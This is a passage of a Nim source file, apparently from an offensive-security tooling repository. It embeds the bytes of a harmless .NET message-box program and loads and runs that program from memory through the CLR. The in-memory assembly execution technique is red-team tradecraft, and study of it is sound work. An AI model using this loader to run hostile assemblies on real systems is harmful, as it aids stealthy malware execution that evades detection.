x0,0x0,0x0,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2b,0x0,0x4b,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3c,0x4d,0x6f,0x64,0x75,0x6c,0x65,0x3e,0x0,0x6d,0x73,0x63,0x6f,0x72,0x6c,0x69,0x62,0x0,0x47,0x75,0x69,0x64,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x44,0x65,0x62,0x75,0x67,0x67,0x61,0x62,0x6c,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x43,0x6f,0x6d,0x56,0x69,0x73,0x69,0x62,0x6c,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x54,0x69,0x74,0x6c,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x54,0x72,0x61,0x64,0x65,0x6d,0x61,0x72,0x6b,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x54,0x61,0x72,0x67,0x65,0x74,0x46,0x72,0x61,0x6d,0x65,0x77,0x6f,0x72,0x6b,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x46,0x69,0x6c,0x65,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x43,0x6f,0x6e,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6f,0x6e,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6f,0x6e,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x43,0x6f,0x6d,0x70,0x69,0x6c,0x61,0x74,0x69,0x6f,0x6e,0x52,0x65,0x6c,0x61,0x78,0x61,0x74,0x69,0x6f,0x6e,0x73,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x50,0x72,0x6f,0x64,0x75,0x63,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x43,0x6f,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x43,0x6f,0x6d,0x70,0x61,0x6e,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x52,0x75,0x6e,0x74,0x69,0x6d,0x65,0x43,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x69,0x6c,0x69,0x74,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x0,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x50,0x6f,0x70,0x2e,0x65,0x78,0x65,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x75,0x6e,0x74,0x69,0x6d,0x65,0x2e,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x69,0x6e,0x67,0x0,0x53,0x74,0x72,0x69,0x6e,0x67,0x0,0x50,0x72,0x6f,0x67,0x72,0x61,0x6d,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x0,0x4d,0x61,0x69,0x6e,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x0,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x50,0x6f,0x70,0x0,0x2e,0x63,0x74,0x6f,0x72,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x44,0x69,0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x73,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x75,0x6e,0x74,0x69,0x6d,0x65,0x2e,0x49,0x6e,0x74,0x65,0x72,0x6f,0x70,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x75,0x6e,0x74,0x69,0x6d,0x65,0x2e,0x43,0x6f,0x6d,0x70,0x69,0x6c,0x65,0x72,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x0,0x44,0x65,0x62,0x75,0x67,0x67,0x69,0x6e,0x67,0x4d,0x6f,0x64,0x65,0x73,0x0,0x61,0x72,0x67,0x73,0x0,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x2e,0x46,0x6f,0x72,0x6d,0x73,0x0,0x43,0x6f,0x6e,0x63,0x61,0x74,0x0,0x4f,0x62,0x6a,0x65,0x63,0x74,0x0,0x44,0x69,0x61,0x6c,0x6f,0x67,0x52,0x65,0x73,0x75,0x6c,0x74,0x0,0x53,0x68,0x6f,0x77,0x0,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x0,0x0,0x0,0x21,0x48,0x0,0x65,0x0,0x6c,0x0,0x6c,0x0,0x6f,0x0,0x20,0x0,0x66,0x0,0x72,0x0,0x6f,0x0,0x6d,0x0,0x20,0x0,0x2e,0x0,0x4e,0x0,0x45,0x0,0x54,0x0,0x21,0x0,0x0,0xd,0x48,0x0,0x65,0x0,0x6c,0x0,0x6c,0x0,0x6f,0x0,0x20,0x0,0x0,0x0,0x0,0x0,0x34,0xd9,0x6a,0x84,0x96,0x64,0xd5,0x44,0xa4,0x5c,0x2a,0x1e,0x9c,0x41,0x3e,0xc,0x0,0x4,0x20,0x1,0x1,0x8,0x3,0x20,0x0,0x1,0x5,0x20,0x1,0x1,0x11,0x11,0x4,0x20,0x1,0x1,0xe,0x4,0x20,0x1,0x1,0x2,0x4,0x7,0x2,0x2,0x2,0x5,0x0,0x1,0x11,0x49,0xe,0x5,0x0,0x2,0xe,0xe,0xe,0x8,0xb7,0x7a,0x5c,0x56,0x19,0x34,0xe0,0x89,0x5,0x0,0x1,0x1,0x1d,0xe,0x8,0x1,0x0,0x8,0x0,0x0,0x0,0x0,0x0,0x1e,0x1,0x0,0x1,0x0,0x54,0x2,0x16,0x57,0x72,0x61,0x70,0x4e,0x6f,0x6e,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x54,0x68,0x72,0x6f,0x77,0x73,0x1,0x8,0x1,0x0,0x7,0x1,0x0,0x0,0x0,0x0,0x12,0x1,0x0,0xd,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x50,0x6f,0x70,0x0,0x0,0x5,0x1,0x0,0x0,0x0,0x0,0x17,0x1,0x0,0x12,0x43,0x6f,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0xc2,0xa9,0x20,0x20,0x32,0x30,0x32,0x30,0x0,0x0,0x29,0x1,0x0,0x24,0x39,0x34,0x32,0x37,0x30,0x36,0x36,0x62,0x2d,0x37,0x61,0x38,0x31,0x2d,0x34,0x62,0x63,0x39,0x2d,0x38,0x36,0x66,0x38,0x2d,0x38,0x38,0x64,0x63,0x30,0x30,0x63,0x31,0x35,0x31,0x39,0x37,0x0,0x0,0xc,0x1,0x0,0x7,0x31,0x2e,0x30,0x2e,0x30,0x2e,0x30,0x0,0x0,0x49,0x1,0x0,0x1a,0x2e,0x4e,0x45,0x54,0x46,0x72,0x61,0x6d,0x65,0x77,0x6f,0x72,0x6b,0x2c,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x76,0x34,0x2e,0x35,0x1,0x0,0x54,0xe,0x14,0x46,0x72,0x61,0x6d,0x65,0x77,0x6f,0x72,0x6b,0x44,0x69,0x73,0x70,0x6c,0x61,0x79,0x4e,0x61,0x6d,0x65,0x12,0x2e,0x4e,0x45,0x54,0x20,0x46,0x72,0x61,0x6d,0x65,0x77,0x6f,0x72,0x6b,0x20,0x34,0x2e,0x35,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x82,0x47,0xaf,0x82,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x72,0x0,0x0,0x0,0x24,0x27,0x0,0x0,0x24,0x9,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x52,0x53,0x44,0x53,0x83,0x70,0x80,0x1c,0xa7,0x8,0x39,0x4c,0x8f,0x8d,0xda,0xc5,0x1d,0x57,0x83,0xe7,0x1,0x0,0x0,0x0,0x43,0x3a,0x5c,0x55,0x73,0x65,0x72,0x73,0x5c,0x62,0x79,0x74,0x33,0x62,0x6c,0x33,0x33,0x64,0x33,0x72,0x5c,0x73,0x6f,0x75,0x72,0x63,0x65,0x5c,0x72,0x65,0x70,0x6f,0x73,0x5c,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x50,0x6f,0x70,0x5c,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x50,0x6f,0x70,0x5c,0x6f,0x62,0x6a,0x5c,0x44,0x65,0x62,0x75,0x67,0x5c,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x50,0x6f,0x70,0x2e,0x70,0x64,0x62,0x0,0xbe,0x27,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xd8,0x27,0x0,0x0,0x0,0x20,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xca,0x27,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x5f,0x43,0x6f,0x72,0x45,0x78,0x65,0x4d,0x61,0x69,0x6e,0x0,0x6d,0x73,0x63,0x6f,0x72,0x65,0x65,0x2e,0x64,0x6c,0x6c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x25,0x0,0x20,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x10,0x0,0x0,0x0,0x20,0x0,0x0,0x80,0x18,0x0,0x0,0x0,0x50,0x0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x1,0x0,0x0,0x0,0x38,0x0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x1,0x0,0x0,0x0,0x68,0x0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0xcc,0x3,0x0,0x0,0x90,0x40,0x0,0x0,0x3c,0x3,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3c,0x3,0x34,0x0,0x0,0x0,0x56,0x0,0x53,0x0,0x5f,0x0,0x56,0x0,0x45,0x0,0x52,0x0,0x53,0x0,0x49,0x0,0x4f,0x0,0x4e,0x0,0x5f,0x0,0x49,0x0,0x4e,0x0,0x46,0x0,0x4f,0x0,0x0,0x0,0x0,0x0,0xbd,0x4,0xef,0xfe,0x0,0x0,0x1,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x3f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x4,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x44,0x0,0x0,0x0,0x1,0x0,0x56,0x0,0x61,0x0,0x72,0x0,0x46,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x49,0x0,0x6e,0x0,0x66,0x0,0x6f,0x0,0x0,0x0,0x0,0x0,0x24,0x0,0x4,0x0,0x0,0x0,0x54,0x0,0x72,0x0,0x61,0x0,0x6e,0x0,0x73,0x0,0x6c,0x0,0x61,0x0,0x74,0x0,0x69,0x0,0x6f,0x0,0x6e,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xb0,0x4,0x9c,0x2,0x0,0x0,0x1,0x0,0x53,0x0,0x74,0x0,0x72,0x0,0x69,0x0,0x6e,0x0,0x67,0x0,0x46,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x49,0x0,0x6e,0x0,0x66,0x0,0x6f,0x0,0x0,0x0,0x78,0x2,0x0,0x0,0x1,0x0,0x30,0x0,0x30,0x0,0x30,0x0,0x30,0x0,0x30,0x0,0x34,0x0,0x62,0x0,0x30,0x0,0x0,0x0,0x1a,0x0,0x1,0x0,0x1,0x0,0x43,0x0,0x6f,0x0,0x6d,0x0,0x6d,0x0,0x65,0x0,0x6e,0x0,0x74,0x0,0x73,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x22,0x0,0x1,0x0,0x1,0x0,0x43,0x0,0x6f,0x0,0x6d,0x0,0x70,0x0,0x61,0x0,0x6e,0x0,0x79,0x0,0x4e,0x0,0x61,0x0,0x6d,0x0,0x65,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x44,0x0,0xe,0x0,0x1,0x0,0x46,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x44,0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x72,0x0,0x69,0x0,0x70,0x0,0x74,0x0,0x69,0x0,0x6f,0x0,0x6e,0x0,0x0,0x0,0x0,0x0,0x4d,0x0,0x65,0x0,0x73,0x0,0x73,0x0,0x61,0x0,0x67,0x0,0x65,0x0,0x42,0x0,0x6f,0x0,0x78,0x0,0x50,0x0,0x6f,0x0,0x70,0x0,0x0,0x0,0x30,0x0,0x8,0x0,0x1,0x0,0x46,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e,0x0,0x0,0x0,0x0,0x0,0x31,0x0,0x2e,0x0,0x30,0x0,0x2e,0x0,0x30,0x0,0x2e,0x0,0x30,0x0,0x0,0x0,0x44,0x0,0x12,0x0,0x1,0x0,0x49,0x0,0x6e,0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x6e,0x0,0x61,0x0,0x6c,0x0,0x4e,0x0,0x61,0x0,0x6d,0x0,0x65,0x0,0x0,0x0,0x4d,0x0,0x65,0x0,0x73,0x0,0x73,0x0,0x61,0x0,0x67,0x0,0x65,0x0,0x42,0x0,0x6f,0x0,0x78,0x0,0x50,0x0,0x6f,0x0,0x70,0x0,0x2e,0x0,0x65,0x0,0x78,0x0,0x65,0x0,0x0,0x0,0x48,0x0,0x12,0x0,0x1,0x0,0x4c,0x0,0x65,0x0,0x67,0x0,0x61,0x0,0x6c,0x0,0x43,0x0,0x6f,0x0,0x70,0x0,0x79,0x0,0x72,0x0,0x69,0x0,0x67,0x0,0x68,0x0,0x74,0x0,0x0,0x0,0x43,0x0,0x6f,0x0,0x70,0x0,0x79,0x0,0x72,0x0,0x69,0x0,0x67,0x0,0x68,0x0,0x74,0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x20,0x0,0x32,0x0,0x30,0x0,0x32,0x0,0x30,0x0,0x0,0x0,0x2a,0x0,0x1,0x0,0x1,0x0,0x4c,0x0,0x65,0x0,0x67,0x0,0x61,0x0,0x6c,0x0,0x54,0x0,0x72,0x0,0x61,0x0,0x64,0x0,0x65,0x0,0x6d,0x0,0x61,0x0,0x72,0x0,0x6b,0x0,0x73,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x4c,0x0,0x12,0x0,0x1,0x0,0x4f,0x0,0x72,0x0,0x69,0x0,0x67,0x0,0x69,0x0,0x6e,0x0,0x61,0x0,0x6c,0x0,0x46,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x6e,0x0,0x61,0x0,0x6d,0x0,0x65,0x0,0x0,0x0,0x4d,0x0,0x65,0x0,0x73,0x0,0x73,0x0,0x61,0x0,0x67,0x0,0x65,0x0,0x42,0x0,0x6f,0x0,0x78,0x0,0x50,0x0,0x6f,0x0,0x70,0x0,0x2e,0x0,0x65,0x0,0x78,0x0,0x65,0x0,0x0,0x0,0x3c,0x0,0xe,0x0,0x1,0x0,0x50,0x0,0x72,0x0,0x6f,0x0,0x64,0x0,0x75,0x0,0x63,0x0,0x74,0x0,0x4e,0x0,0x61,0x0,0x6d,0x0,0x65,0x0,0x0,0x0,0x0,0x0,0x4d,0x0,0x65,0x0,0x73,0x0,0x73,0x0,0x61,0x0,0x67,0x0,0x65,0x0,0x42,0x0,0x6f,0x0,0x78,0x0,0x50,0x0,0x6f,0x0,0x70,0x0,0x0,0x0,0x34,0x0,0x8,0x0,0x1,0x0,0x50,0x0,0x72,0x0,0x6f,0x0,0x64,0x0,0x75,0x0,0x63,0x0,0x74,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e,0x0,0x0,0x0,0x31,0x0,0x2e,0x0,0x30,0x0,0x2e,0x0,0x30,0x0,0x2e,0x0,0x30,0x0,0x0,0x0,0x38,0x0,0x8,0x0,0x1,0x0,0x41,0x0,0x73,0x0,0x73,0x0,0x65,0x0,0x6d,0x0,0x62,0x0,0x6c,0x0,0x79,0x0,0x20,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e,0x0,0x0,0x0,0x31,0x0,0x2e,0x0,0x30,0x0,0x2e,0x0,0x30,0x0,0x2e,0x0,0x30,0x0,0x0,0x0,0xdc,0x43,0x0,0x0,0xea,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xef,0xbb,0xbf,0x3c,0x3f,0x78,0x6d,0x6c,0x20,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x22,0x20,0x65,0x6e,0x63,0x6f,0x64,0x69,0x6e,0x67,0x3d,0x22,0x55,0x54,0x46,0x2d,0x38,0x22,0x20,0x73,0x74,0x61,0x6e,0x64,0x61,0x6c,0x6f,0x6e,0x65,0x3d,0x22,0x79,0x65,0x73,0x22,0x3f,0x3e,0xd,0xa,0xd,0xa,0x3c,0x61,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3d,0x22,0x75,0x72,0x6e,0x3a,0x73,0x63,0x68,0x65,0x6d,0x61,0x73,0x2d,0x6d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x63,0x6f,0x6d,0x3a,0x61,0x73,0x6d,0x2e,0x76,0x31,0x22,0x20,0x6d,0x61,0x6e,0x69,0x66,0x65,0x73,0x74,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x22,0x3e,0xd,0xa,0x20,0x20,0x3c,0x61,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x49,0x64,0x65,0x6e,0x74,0x69,0x74,0x79,0x20,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x2e,0x30,0x2e,0x30,0x22,0x20,0x6e,0x61,0x6d,0x65,0x3d,0x22,0x4d,0x79,0x41,0x70,0x70,0x6c,0x69,0x63,0x61,0x74,0x69,0x6f,0x6e,0x2e,0x61,0x70,0x70,0x22,0x2f,0x3e,0xd,0xa,0x20,0x20,0x3c,0x74,0x72,0x75,0x73,0x74,0x49,0x6e,0x66,0x6f,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3d,0x22,0x75,0x72,0x6e,0x3a,0x73,0x63,0x68,0x65,0x6d,0x61,0x73,0x2d,0x6d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x63,0x6f,0x6d,0x3a,0x61,0x73,0x6d,0x2e,0x76,0x32,0x22,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x3c,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6c,0x65,0x67,0x65,0x73,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3d,0x22,0x75,0x72,0x6e,0x3a,0x73,0x63,0x68,0x65,0x6d,0x61,0x73,0x2d,0x6d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x63,0x6f,0x6d,0x3a,0x61,0x73,0x6d,0x2e,0x76,0x33,0x22,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6f,0x6e,0x4c,0x65,0x76,0x65,0x6c,0x20,0x6c,0x65,0x76,0x65,0x6c,0x3d,0x22,0x61,0x73,0x49,0x6e,0x76,0x6f,0x6b,0x65,0x72,0x22,0x20,0x75,0x69,0x41,0x63,0x63,0x65,0x73,0x73,0x3d,0x22,0x66,0x61,0x6c,0x73,0x65,0x22,0x2f,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x2f,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6c,0x65,0x67,0x65,0x73,0x3e,0xd,0xa,0x20,0x20,0x20,0x20,0x3c,0x2f,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3e,0xd,0xa,0x20,0x20,0x3c,0x2f,0x74,0x72,0x75,0x73,0x74,0x49,0x6e,0x66,0x6f,0x3e,0xd,0xa,0x3c,0x2f,0x61,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79,0x3e,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x20,0x0,0x0,0xc,0x0,0x0,0x0,0xec,0x37,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0] 21 | 22 | echo "[*] Installed .NET versions" 23 | for v in clrVersions(): 24 | echo fmt" \--- {v}" 25 | echo "\n" 26 | 27 | echo "" 28 | 29 | var assembly = load(buf) 30 | dump assembly 31 | 32 | #[ 33 | 34 | # I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong! 35 | # See https://github.com/byt3bl33d3r/OffensiveNim/issues/9 36 | 37 | var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString()) 38 | var mn = fromCLRVariant[string](assembly.EntryPoint.Name) 39 | echo fmt"[*] EntryPoint.DeclaringType: '{dt}'" 40 | echo fmt"[*] EntryPoint.MethodName: '{mn}'" 41 | var t = assembly.GetType(dt) 42 | var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod 43 | @t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array 44 | @t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args 45 | 46 | ]# 47 | 48 | var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments 49 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 50 | 51 | arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args 52 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 53 | --------------------------------------------------------------------------------